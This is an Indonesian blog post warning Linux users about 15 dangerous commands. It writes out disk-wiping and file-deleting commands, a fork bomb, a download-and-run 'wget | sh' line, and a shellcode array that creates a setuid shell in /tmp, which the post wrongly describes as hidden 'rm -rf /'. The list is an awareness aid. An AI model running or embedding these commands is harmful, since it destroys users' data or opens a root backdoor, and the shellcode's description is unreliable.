15 Command Linux Berbahaya

PasienSehat    10/23/2013    Komputer dan Jaringan   

Seringkali dalam forum kita menemukan baris command Linux yang kita tidak tahu fungsinya, terlebih jika kita masih baru dalam menggunakan Linux. Maka dari itu waspadalah terhadap command-command Linux berbahaya seperti berikut ini:

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
More Details of this code is available here: http://seclists.org/fulldisclosure/2007/Aug/71

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as fork bomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

wget http://some_untrusted_source O | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

6. Code:

mv ~/* /dev/null
mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

7. Code:

chmod -R 777 /

This comand make your system world writable.

8. Code:

chmod 000 -R /
chown nobody:nobody -R /

This command removes all the access priviledge from all the users except root

9. Code:

yes > /dev/sda

This command fill your hard disk with the character 'y'

10. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

11. Code

dd if=/dev/null of=/dev/sda

This command fill your hard disk partition with with 0's.

12. Code:

dd if=/dev/urandom of=/dev/sda

This command fill your hard disk partition with some random data

13. Code:

rm -rf /boot/

Description: Will delete Kernel , Initrd , and GRUB/LILO Files
(Needed for Linux Startup)

14. Code:

rm /boot/vmlinux
rm /boot/vmlinuz
rm /boot/vmlinux*
rm /boot/vmlinuz*

Delete the Linux kernel

15. Code:

rm /bin/init
cd / ; find -iname init -exec rm -rf {} \;

Deletes any file with "init" in it including /sbin/init.

[Source: https://plus.google.com/111560558537332305125/posts/d64bp6rkZMC]